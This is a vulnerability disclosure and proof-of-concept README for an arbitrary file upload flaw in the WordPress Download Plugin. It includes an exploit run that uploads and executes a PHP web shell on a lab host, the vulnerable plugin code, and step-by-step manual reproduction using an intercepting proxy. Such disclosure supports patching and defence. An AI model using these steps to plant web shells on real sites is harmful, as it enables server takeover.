CVE-2025-6586 PoC — Download Plugin <= 2.2.8 - Authenticated (Administrator+) Arbitrary File Upload

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Download Plugin <= 2.2.8 - Authenticated (Administrator+) Arbitrary File Upload

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# Download Plugin <= 2.2.8 - Authenticated (Admin+) Arbitrary File Upload via the dpwap_plugin_locInstall Function

The [Download Plugin](https://wordpress.org/plugins/download-plugin/) does not sanitize the file types of the `dpwap_plugin_locInstall` function
exposed via the `mul_upload` admin page, allowing administrators or above to upload arbitrary files and
potentially gain code execution on the server.

## TL;DR Exploits
A POC [cve-2025-6586.py](./cve-2025-6586.py) is provided to demonstrate an administrator uploading a web shell named `shell.php`.
```
python3 cve-2025-6586.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
Web Shell Location: https://lab1.hacker/wp-
content/uploads/dpwap_logs/files/tmp/shell.php

Executing test command: ip addr
    <pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
v       alid_lft 75221sec preferred_lft 75221sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic
mngtmpaddr noprefixroute
        valid_lft 86354sec preferred_lft 14354sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link
        valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
        valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
        valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
state DOWN group default
    link/ether 02:42:77:47:94:a5 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
        valid_lft forever preferred_lft forever
</pre>

```

## Details

The `dpwap_plugin_multiple_upload_func` function is exposed in the `mul_upload` admin page. On line [80](https://plugins.trac.wordpress.org/browser/download-plugin/trunk/app/Plugins/Base.php#L80) of `/wp-content/plugins/download-plugin/app/Plugins/Base.php` the function includes [multiple_upload_plugin.php](https://plugins.trac.wordpress.org/browser/download-plugin/trunk/app/Plugins/templates/multiple_upload_plugin.php).

```php
// multiple upload function
public function dpwap_plugin_multiple_upload_func()
{
$dpwapObj = new Dpwapuploader();
$plugin_multiple_upload_file = DPWAP_DIR . DS . 'app' . DS .
'Plugins' . DS . 'templates' . DS . 'multiple_upload_plugin.php';
include_once $plugin_multiple_upload_file;
}
```

By default the full path of $plugin_multiple_upload_file should be `/wp-
content/plugins/download-plugin/app/Plugins/templates/multiple_upload_plugin.php`.
The template will also check for a `$_POST['dpwap_locInstall']` and `$_FILES['dpwap_locFiles']['name'][0]`. If those are present it will call `$dpwapObj->dpwap_plugin_locInstall();` within the code that builds the html form on line [47](https://plugins.trac.wordpress.org/browser/download-plugin/trunk/app/Plugins/templates/multiple_upload_plugin.php#L47).

```php
...
...
<div class="inside">
    <?php
        if (isset($_POST['dpwap_locInstall']) && $_FILES['dpwap_locFiles']['name'][0] != ""){
        echo '<form id="form_alldpwap" name="form_alldpwap" method="post" action="admin.php?page=activate-status">';
        echo "<div class='dpwap_main'>";
        $dpwapObj->dpwap_plugin_locInstall();
        echo "</div>";
        echo '<input class="button button-primary dpwap_allactive"
type="submit" name="dpwap_locInstall" onclick="activateAllPLugins()"
value="'. esc_attr__('Activate all', 'download-plugin').'">';
        echo '</form>';
        }
    ?>
</div>
...
...
```

As seen below, the `dpwap_plugin_locInstall` function within `/wp-content/plugins/download-plugin/app/Plugins/Dpwapuploader.php` on line [300](https://plugins.trac.wordpress.org/browser/download-plugin/trunk/app/Plugins/Dpwapuploader.php#L300) will move the uploaded files to a web accessible directory, keeping the original file name and extension. Ex: `https://TARGETSITEDOMAIN/wp-content/uploads/dpwap_logs/files/tmp/shell.php`

```php
public function dpwap_plugin_locInstall(){
// Increase the resources
@ini_set( 'memory_limit', '1024M' );
@ini_set( 'upload_max_filesize', '640M' );
@ini_set( 'post_max_size', '640M' );
check_admin_referer( $this->key );
echo '<div class="dpwap_h3">'.esc_html__( 'Installing Plugins',
'download-plugin' ) .':</div>';
for ( $i = 0; $i < count( $_FILES['dpwap_locFiles']['name'] ); $i++
) {
$dpwap_locFilenm = sanitize_file_name($_FILES['dpwap_locFiles']
['name'][$i]);
if ( strpos( $dpwap_locFilenm, 'mpipluginsbackup' ) === false )
{
//Get the temp file path
$tmpFilePath = $_FILES['dpwap_locFiles']['tmp_name'][$i];
//Make sure we have a filepath
if ( $tmpFilePath != "" ) {
//Setup our new file path
$newFilePath =
DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/' . $dpwap_locFilenm;
//Upload the file into the temp dir
if( @move_uploaded_file( $tmpFilePath, $newFilePath ) )
{
$dpwap_tempurls[] =
DPWAPUPLOADDIR_PATH.'/dpwap_logs/files/tmp/'.$dpwap_locFilenm;
}
}
}
else{
echo esc_html__('This is', 'download-plugin') .'
<b>'.esc_html($dpwap_locFilenm).'</b> '.esc_html__( 'not a valid zip
archive.', 'download-plugin' );
}
}
if( $dpwap_tempurls )
$this->dpwap_get_packages( $dpwap_tempurls, "activate", "nocreate",
"upload_locFiles" );
}
```


## Manual Reproduction
1. Login to the admin panel and navigate to `Plugins -> Add Plugin`.
2. Click the `Upload Multiple Plugins` at the top, this button is added to the UI by the [Download Plugin](https://wordpress.org/plugins/download-plugin/).
![0](./images/0.png)
3. Now from `/wp-admin/admin.php?page=mul_upload`, start BurpSuite or a similar proxy.
![1](./images/1.png)
4. Take a `php` file, and replace its extention with `zip` to pass the front end validation, and then click `Install Now`.
![2](./images/2.png)
5. Modify the intercepted request on the fly or in a Repeater tab to change the file extension back to `php`.
![3](./images/3.png)
6. Browse to the newly uploaded file to trigger code execution.
![4](./images/4.png)

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